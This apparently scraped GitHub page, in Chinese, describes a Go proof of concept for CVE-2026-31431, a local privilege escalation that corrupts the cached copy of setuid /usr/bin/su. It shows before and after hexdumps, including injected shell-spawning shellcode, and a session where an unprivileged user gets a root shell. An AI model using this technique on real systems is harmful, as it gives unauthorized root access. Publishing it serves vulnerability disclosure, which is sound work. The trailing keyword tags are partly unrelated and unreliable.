cs8425/copy-fail-go

GitHub: cs8425/copy-fail-go

Go 语言编写的 CVE-2026-31431 本地提权 PoC,通过竞态条件篡改 setuid 二进制文件的页缓存实现 root 权限获取。

Stars: 1 | Forks: 1

# Copy Fail - CVE-2026-31431 - Golang 版本 [技术分析报告](https://xint.io/blog/copy-fail-linux-distributions) [原始仓库](https://github.com/theori-io/copy-fail-CVE-2026-31431) ## 运行 ### 运行前检查 `/usr/bin/su`: ``` user@pc:~$ hexdump -n 300 -x /usr/bin/su 0000000 457f 464c 0102 0001 0000 0000 0000 0000 0000010 0003 003e 0001 0000 44d0 0000 0000 0000 0000020 0040 0000 0000 0000 d1c0 0000 0000 0000 0000030 0000 0000 0040 0038 000d 0040 001f 001e 0000040 0006 0000 0004 0000 0040 0000 0000 0000 0000050 0040 0000 0000 0000 0040 0000 0000 0000 0000060 02d8 0000 0000 0000 02d8 0000 0000 0000 0000070 0008 0000 0000 0000 0003 0000 0004 0000 0000080 0318 0000 0000 0000 0318 0000 0000 0000 0000090 0318 0000 0000 0000 001c 0000 0000 0000 00000a0 001c 0000 0000 0000 0001 0000 0000 0000 00000b0 0001 0000 0004 0000 0000 0000 0000 0000 00000c0 0000 0000 0000 0000 0000 0000 0000 0000 00000d0 2608 0000 0000 0000 2608 0000 0000 0000 00000e0 1000 0000 0000 0000 0001 0000 0005 0000 00000f0 3000 0000 0000 0000 3000 0000 0000 0000 0000100 3000 0000 0000 0000 6eb1 0000 0000 0000 0000110 6eb1 0000 0000 0000 1000 0000 0000 0000 0000120 0001 0000 0004 0000 a000 0000 000012c ``` ### 运行 exp.go: ``` user@pc:~$ id uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker) user@pc:~$ go run exp.go # id uid=0(root) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker) # ``` ### 运行后检查 `/usr/bin/su`: ``` user@pc:~$ hexdump -n 300 -x /usr/bin/su 0000000 457f 464c 0102 0001 0000 0000 0000 0000 0000010 0002 003e 0001 0000 0078 0040 0000 0000 0000020 0040 0000 0000 0000 0000 0000 0000 0000 0000030 0000 0000 0040 0038 0001 0000 0000 0000 0000040 0001 0000 0005 0000 0000 0000 0000 0000 0000050 0000 0040 0000 0000 0000 0040 0000 0000 0000060 009e 0000 0000 0000 009e 0000 0000 0000 0000070 1000 0000 0000 0000 c031 ff31 69b0 050f 0000080 8d48 0f3d 0000 3100 6af6 583b 0f99 3105 0000090 6aff 583c 050f 622f 6e69 732f 0068 0000 00000a0 001c 0000 0000 0000 0001 0000 0000 0000 00000b0 0001 0000 0004 0000 0000 0000 0000 0000 00000c0 0000 0000 0000 0000 0000 0000 0000 0000 00000d0 2608 0000 0000 0000 2608 0000 0000 0000 00000e0 1000 0000 0000 0000 0001 0000 0005 0000 00000f0 3000 0000 0000 0000 3000 0000 0000 0000 0000100 3000 0000 0000 0000 6eb1 0000 0000 0000 0000110 6eb1 0000 0000 0000 1000 0000 0000 0000 0000120 0001 0000 0004 0000 a000 0000 000012c ``` ### 恢复 需要 root 权限,或者重新启动 ``` root@pc:~# echo 3 > /proc/sys/vm/drop_caches ```
标签:Copy Fail, CVE-2026-31431, ELF文件, EVTX分析, Exploit, Golang, Go语言, PoC, Web报告查看器, 二进制分析, 云安全运维, 协议分析, 子域名枚举, 安全渗透, 安全编程, 提权漏洞, 日志审计, 暴力破解, 本地提权, 权限提升, 权限绕过, 漏洞复现, 程序破解, 系统安全, 网络安全, 隐私保护